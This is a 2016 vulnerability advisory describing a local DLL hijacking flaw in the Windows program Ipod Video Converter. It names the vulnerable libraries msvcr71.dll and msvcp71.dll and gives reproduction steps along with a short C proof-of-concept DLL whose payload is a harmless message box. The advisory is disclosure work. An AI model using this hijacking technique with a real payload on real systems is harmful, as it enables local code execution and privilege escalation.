Ipod Video Converter DLL Hijacking
Posted on 28 September 2016
i>>?Document Title: =============== Ipod Video Converter - DLL Hijacking Vulnerability Release Date: ============= 2016-09-23 Vulnerability Disclosure Timeline: ================================== 2016-09-27 : Public Disclosure Product & Service Introduction: =============================== iPod Video Converter is a free and powerful iPod video and movie converter software which provides an easy way to convert any movie to iPod video. iPod Video Converter helps you watch music video and movies on your video iPod with only a few clicks.iPod Video Converter is compatible with the latest iPod Touch and with the iPhone. (Copy of the Vendor Homepage: http://www.reganam.com/ ) Affected Product(s): ==================== Reganam Interactive Product: Ipod Video Converter - Software Exploitation Technique: ======================= Local Severity Level: =============== High Technical Details & Description: ================================ A local dll injection vulnerability has been discovered in the official Ipod Video Converter software. The issue allows local attackers to inject code to vulnerable libraries to compromise the process or to gain higher access privileges. Vulnerable Software: [+] Ipod Video Converter Vulnerable Libraries: [+] msvcr71.dll [+] msvcp71.dll Proof of Concept (PoC): ======================= The dll hijack vulnerability can be exploited by local attackers with restricted system user account and without user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the local vulnerability ... 1. Compile dll and rename to msvcr71.dll or msvcp71.dll 2. Copy wmsvcr71.dll or msvcp71.dll to C:Program Filesipodconverter2012ipod-converter.exe 3. Launch ipod-converter.exe 4. MessageBox Executed -- PoC Exploit -- #include <windows.h> #define DllExport __declspec (dllexport) BOOL WINAPI DllMain ( HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { dll_hijack(); return 0; } int dll_hijack() { MessageBox(0, "DLL Hijacking By ZwX!", "DLL Message", MB_OK); return 0; } [+] Disclaimer [+] =================== Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere. Domain: www.zwx.fr Contact: msk4@live.fr Social: twitter.com/XSSed.fr Feeds: www.zwx.fr/feed/ Advisory: www.vulnerability-lab.com/show.php?user=ZwX packetstormsecurity.com/files/author/12026/ cxsecurity.com/search/author/DESC/AND/FIND/0/10/ZwX/ 0day.today/author/27461 Copyright A(c) 2016 | ZwX - Security Researcher (Software & web application)
